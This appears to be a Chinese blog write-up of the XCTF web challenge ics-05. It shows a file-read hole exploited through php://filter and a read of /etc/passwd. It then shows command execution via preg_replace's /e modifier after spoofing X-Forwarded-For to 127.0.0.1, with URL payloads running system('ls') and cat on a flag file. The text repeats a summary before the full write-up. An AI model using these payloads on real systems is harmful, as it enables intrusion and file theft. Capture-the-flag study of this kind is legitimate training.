攻防世界-web:ics-05
2021-03-10 09:30
标签:代码 源代码 漏洞 cat 相同 dex http reg 系统 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统 查看源代码发现一个url链接 就是无法获取php源代码,这个时候可以利用php://filter伪协议读取 base64解码源代码 我们可以利用burp抓包改包实现绕过。 下面我们构造参数进行命令执行 payload:?pat=/123/e&rep=eval(system("ls"))&sub=123 payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123 payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123 payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123 攻防世界-web:ics-05 标签:代码 源代码 漏洞 cat 相同 dex http reg 系统 原文地址:https://www.cnblogs.com/suferma/p/12853422.html题目描述
题目截图
解题思路
尝试访问这个url
将参数更换为:/etc/passwd
发现存在文件读取漏洞
尝试读取index.php
回显ok
利用file协议读取/var/www/html/index.phpPHP伪协议文件读取
php://filter/read=convert.base64-encode/resource=index.php
读到了index.php的源代码代码审计
发现代码中存在异常代码
preg_replace函数:
这个函数存在命令执行漏洞
搜索到这个
可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。
即preg_replace("/123/e", "phpinfo()", "123");可以执行phpinfo()函数。
我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘即可命令执行。HTTP_X_FORWARDED_FOR绕过
命令执行测试
payload:?pat=/123/e&rep=phpinfo()&sub=123
成功执行phpinfo()查看目录文件
发现可疑文件夹查看疑文件夹
发现flag文件夹查看flag文件夹
发现flag.php查看flag.php
得到flag
上一篇:13_EL&JSTL
下一篇:17_Ajax&Json